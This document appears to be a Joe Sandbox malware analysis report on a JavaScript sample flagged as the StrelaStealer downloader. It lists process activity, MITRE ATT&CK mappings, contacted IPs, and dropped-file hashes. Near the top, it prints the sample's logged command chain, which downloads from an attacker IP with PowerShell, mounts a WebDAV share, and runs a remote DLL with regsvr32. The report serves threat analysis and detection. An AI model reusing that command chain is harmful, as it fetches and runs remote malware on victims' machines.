Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25336271991288.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
82691949257725140.js	8%	Virustotal		Browse
82691949257725140.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/r	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/sm	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3335280867.000001D43DE00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2114640736.000001D43DBD0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2117408876.000001EA0DD88000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2117500296.000001EA0DDB5000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2114557368.000001EA0DDB5000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2111563971.000001EA0DDDD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2117500296.000001EA0DDDF000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/r	net.exe, 00000007.00000002.2117500296.000001EA0DDB5000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2114557368.000001EA0DDB5000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/sm	net.exe, 00000007.00000002.2117408876.000001EA0DD88000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588385
Start date and time:	2025-01-11 01:44:02 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 54s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	82691949257725140.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 172.64.41.3, 162.159.61.3, 3.233.129.217, 52.22.41.97, 52.6.155.20, 3.219.243.226, 2.23.242.162, 23.209.209.135, 199.232.210.172, 2.16.168.105, 2.16.168.107, 52.149.20.212, 13.107.246.45, 23.217.172.185, 20.12.23.50
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
19:44:56	API Interceptor	23x Sleep call for process: powershell.exe modified
19:45:00	API Interceptor	1x Sleep call for process: net.exe modified
19:45:00	API Interceptor	2x Sleep call for process: svchost.exe modified
19:45:07	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	1187225758523111660.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	4892182381391430128.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2445839083247016653.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	739144331377016921.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	4947276292772611217.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	15226731132828820.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2837518771550414407.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	23333227572217423995.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	12621132703258916868.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2709365481268819493.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	1187225758523111660.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	4892182381391430128.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	4947276292772611217.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	15226731132828820.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2837518771550414407.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	12621132703258916868.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2709365481268819493.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	28098292552574015467.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	21534160892486631756.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	129415641190368510.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	1187225758523111660.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	4892182381391430128.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2445839083247016653.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	739144331377016921.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	4947276292772611217.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	15226731132828820.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	27374120242908411416.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	7772104212868830459.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2837518771550414407.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	23333227572217423995.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8306655925955492
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugA:gJjJGtpTq2yv1AuNZRY3diu8iBVqF2
MD5:	EE3BD561B0E7DFEEB688F2E521459898
SHA1:	9CC21CB5E7AD6197804CFB8452BFC74135C5E7BB
SHA-256:	8E3648DB3A50E36881815B453765A73099629FC02E6FC1268F1C4E656735664D
SHA-512:	EEBD33C31FB653A513EDAE05E589FDF193E57D949B09A24182472AE9F2B93EEFEE767E2A2B672CD14F3FAB78CD1CF248868169F62C14EEA1BDB330F9B47D507E
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x1bb2c3ab, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6584774402770013
Encrypted:	false
SSDEEP:	1536:ZSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:Zaza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	4F4AFDEB7F7BE8388936FECBE530300C
SHA1:	4DE943E3156F73C89F0DE07BDE396E0E68281D13
SHA-256:	AD502528A14DC2973035DB3DABFAEDB7B0CD769DB24326C147D9FD8ED311DAA3
SHA-512:	5BECBE826411814D2CA22707FA1E60896D88669FE4B67FE356E6510C710E237BEEEEFF6B7BCCC70917762F163DED22174579D9C9D24ECAAD73EFC9139E08B082
Malicious:	false
Preview:	...... ...............X\...;...{......................0.z..........{...-...}..h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{......................................-...}..................=.x..-...}...........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07780255857474366
Encrypted:	false
SSDEEP:	3:cW8YeSYuklwNkGuAJkhvekl1GnSluRiltlallrekGltll/SPj:v8zpqGrxl4nWuoAJe3l
MD5:	E814E735D132F1EC56B45784DE4E945D
SHA1:	51DAD1F2C8B2D62C039CEC3939C73477D5107908
SHA-256:	841110EABC71CBDC538CF9F75FE0F7AB034523FB4D1AF01A6FA6040A76899ED9
SHA-512:	3679787AF4C6E3AB50052ADA51BCA52C8F6AACF350885FD82261BC202461509E9650144AE04CDAEB9509DA74612C15D1A4E64D2617E65680F3F197DE158ED25B
Malicious:	false
Preview:	.CR......................................;...{...-...}.......{...............{.......{...XL......{..................=.x..-...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.195548507817624
Encrypted:	false
SSDEEP:	6:iO4F39q2P92nKuAl9OmbnIFUtSF3iFZZmwsF3VNkwO92nKuAl9OmbjLJ:7Iv4HAahFUt5X/wN5LHAaSJ
MD5:	74887FEC785F5E40E11C5E121444A007
SHA1:	2322EDFCF410B423F2CC8602BB86DC5BFAC4486F
SHA-256:	28650467A9155AB7022B73A55F19A71B3B02F82F0E4C3CB06703840884D5021A
SHA-512:	E64F2BC5A3CBAA6F7FC157F19DE36DB0900791B0CB5C60438E16CDA993F4EA94710263FB48A34DE5B244D7C5F8FA117D5CC797C87CE290E907A7D11F9522C9EE
Malicious:	false
Preview:	2025/01/10-19:45:00.632 1964 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-19:45:00.634 1964 Recovering log #3.2025/01/10-19:45:00.635 1964 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.195548507817624
Encrypted:	false
SSDEEP:	6:iO4F39q2P92nKuAl9OmbnIFUtSF3iFZZmwsF3VNkwO92nKuAl9OmbjLJ:7Iv4HAahFUt5X/wN5LHAaSJ
MD5:	74887FEC785F5E40E11C5E121444A007
SHA1:	2322EDFCF410B423F2CC8602BB86DC5BFAC4486F
SHA-256:	28650467A9155AB7022B73A55F19A71B3B02F82F0E4C3CB06703840884D5021A
SHA-512:	E64F2BC5A3CBAA6F7FC157F19DE36DB0900791B0CB5C60438E16CDA993F4EA94710263FB48A34DE5B244D7C5F8FA117D5CC797C87CE290E907A7D11F9522C9EE
Malicious:	false
Preview:	2025/01/10-19:45:00.632 1964 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-19:45:00.634 1964 Recovering log #3.2025/01/10-19:45:00.635 1964 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.128190053082236
Encrypted:	false
SSDEEP:	6:iO4F3c4q2P92nKuAl9Ombzo2jMGIFUtSF31fdJZmwsF31fdDkwO92nKuAl9Ombzz:7Cv4HAa8uFUtKn/U15LHAa8RJ
MD5:	10187D1DDC291FE9CA67418EC1BE6374
SHA1:	0828EFDFC24105E10C3C263B02E53493184DDDDA
SHA-256:	1836C9EEBBA825650DCC50185AA4F1D1A0302441C3C26957C4EBFE66E0149055
SHA-512:	22B047DF066F50A3E06A0BFE69B2E888D507C697949088272A5EFDCF1A39C93B3EA0FCAC2604374BAEEADE202369C134E2CF0651D7EC2D76E4DD318D9B5B139C
Malicious:	false
Preview:	2025/01/10-19:45:00.818 1c80 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-19:45:00.819 1c80 Recovering log #3.2025/01/10-19:45:00.819 1c80 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.128190053082236
Encrypted:	false
SSDEEP:	6:iO4F3c4q2P92nKuAl9Ombzo2jMGIFUtSF31fdJZmwsF31fdDkwO92nKuAl9Ombzz:7Cv4HAa8uFUtKn/U15LHAa8RJ
MD5:	10187D1DDC291FE9CA67418EC1BE6374
SHA1:	0828EFDFC24105E10C3C263B02E53493184DDDDA
SHA-256:	1836C9EEBBA825650DCC50185AA4F1D1A0302441C3C26957C4EBFE66E0149055
SHA-512:	22B047DF066F50A3E06A0BFE69B2E888D507C697949088272A5EFDCF1A39C93B3EA0FCAC2604374BAEEADE202369C134E2CF0651D7EC2D76E4DD318D9B5B139C
Malicious:	false
Preview:	2025/01/10-19:45:00.818 1c80 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-19:45:00.819 1c80 Recovering log #3.2025/01/10-19:45:00.819 1c80 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\60274c6b-edd2-4768-bea3-2f97a6a8d281.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.047670631956576
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqnT/sBdOg2HXcaq3QYiubxnP7E4T3OF+:Y2sRdsgTAdMHW3QYhbxP7nbI+
MD5:	6F74C466274523ACBC6891D13E158BD9
SHA1:	972EFB11E9EC6669E0231F11D1EFB179173DC5B7
SHA-256:	E91308E91490DAE24FF176F7699E335AE75F7C45BB35189E4618B7EC82AB6724
SHA-512:	08CDCF6E6AAF1B52CADCE0E0571DDB94AF7CD8D11C5F91E1EFE5A986BE7AA3E5C002006FBE3BC56B3C4428BF1CAC2C64A55B03DFDB8B3538A5D293F6288FBE3F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340988966329963","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":144691},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.047670631956576
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqnT/sBdOg2HXcaq3QYiubxnP7E4T3OF+:Y2sRdsgTAdMHW3QYhbxP7nbI+
MD5:	6F74C466274523ACBC6891D13E158BD9
SHA1:	972EFB11E9EC6669E0231F11D1EFB179173DC5B7
SHA-256:	E91308E91490DAE24FF176F7699E335AE75F7C45BB35189E4618B7EC82AB6724
SHA-512:	08CDCF6E6AAF1B52CADCE0E0571DDB94AF7CD8D11C5F91E1EFE5A986BE7AA3E5C002006FBE3BC56B3C4428BF1CAC2C64A55B03DFDB8B3538A5D293F6288FBE3F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340988966329963","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":144691},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF6d5188.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.047670631956576
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqnT/sBdOg2HXcaq3QYiubxnP7E4T3OF+:Y2sRdsgTAdMHW3QYhbxP7nbI+
MD5:	6F74C466274523ACBC6891D13E158BD9
SHA1:	972EFB11E9EC6669E0231F11D1EFB179173DC5B7
SHA-256:	E91308E91490DAE24FF176F7699E335AE75F7C45BB35189E4618B7EC82AB6724
SHA-512:	08CDCF6E6AAF1B52CADCE0E0571DDB94AF7CD8D11C5F91E1EFE5A986BE7AA3E5C002006FBE3BC56B3C4428BF1CAC2C64A55B03DFDB8B3538A5D293F6288FBE3F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340988966329963","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":144691},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\bec090df-4096-44c8-b41a-506a4b1366ff.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.038424832720317
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPmAksBdOg2H1Acaq3QYiubxnP7E4T3OF+:Y2sRdsCmAJdMH1r3QYhbxP7nbI+
MD5:	002630C2E26314C4AAB95ABF89F2A75F
SHA1:	D2CF18B2F25EF883DEB8419FFA314AB4175BC315
SHA-256:	FC13C48B646AACBA7AEE2505D5BF52DE132AC7EDC3CF716885B310FA6FDBC820
SHA-512:	7BBCAF2FABFFA5A3DB7F24D398E733A48D393B152DCEF8C19CFB5E37404B46F3CC3365038944E1BFD83DBB358CE2686C5FDB03F7FE690052F8E4F99B7984A498
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381116312286831","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":156763},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.23054155457419
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLUuBaV0:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNLH
MD5:	2BAE6684797FD24CA3AF856A764CF125
SHA1:	FAC03E410A135194723CF25417A24122F1CAB011
SHA-256:	1CBB657245D374F9EE60573AA5C249F45ECBE8895D2706747E7ED7CE088B5679
SHA-512:	96D59E84D3688792C3AA46223795B28C39795284EBCA75E6A32233C9D30CCCBBCC637C6EFBDD3A7DC59564466186BBBF866C79147B4CE8E9BA44FD42C80D27BB
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.153666153038675
Encrypted:	false
SSDEEP:	6:iO4FsSuM4q2P92nKuAl9OmbzNMxIFUtSFsgOF3JZmwsFsqONDkwO92nKuAl9Ombg:75z7v4HAa8jFUt/gqZ/dqOF5LHAa84J
MD5:	7CE6641F554B4A51F0F0DD358F4D0E72
SHA1:	A4BF2548C5816EE6486721B522E42F4D7089C4C7
SHA-256:	FF9334289B8A609F22837647758056F00F862B3E422F5AB147E6B5E4C91C0E67
SHA-512:	2928A10108F7A7AB552C8E7F567DCB96D3D4AFF84D63A696D975FE4A65963018E4796DA1D9B457D60CBB5EFC53815CD19722A404930D6013286E4B54195BAD71
Malicious:	false
Preview:	2025/01/10-19:45:01.043 1c80 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-19:45:01.062 1c80 Recovering log #3.2025/01/10-19:45:01.068 1c80 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.153666153038675
Encrypted:	false
SSDEEP:	6:iO4FsSuM4q2P92nKuAl9OmbzNMxIFUtSFsgOF3JZmwsFsqONDkwO92nKuAl9Ombg:75z7v4HAa8jFUt/gqZ/dqOF5LHAa84J
MD5:	7CE6641F554B4A51F0F0DD358F4D0E72
SHA1:	A4BF2548C5816EE6486721B522E42F4D7089C4C7
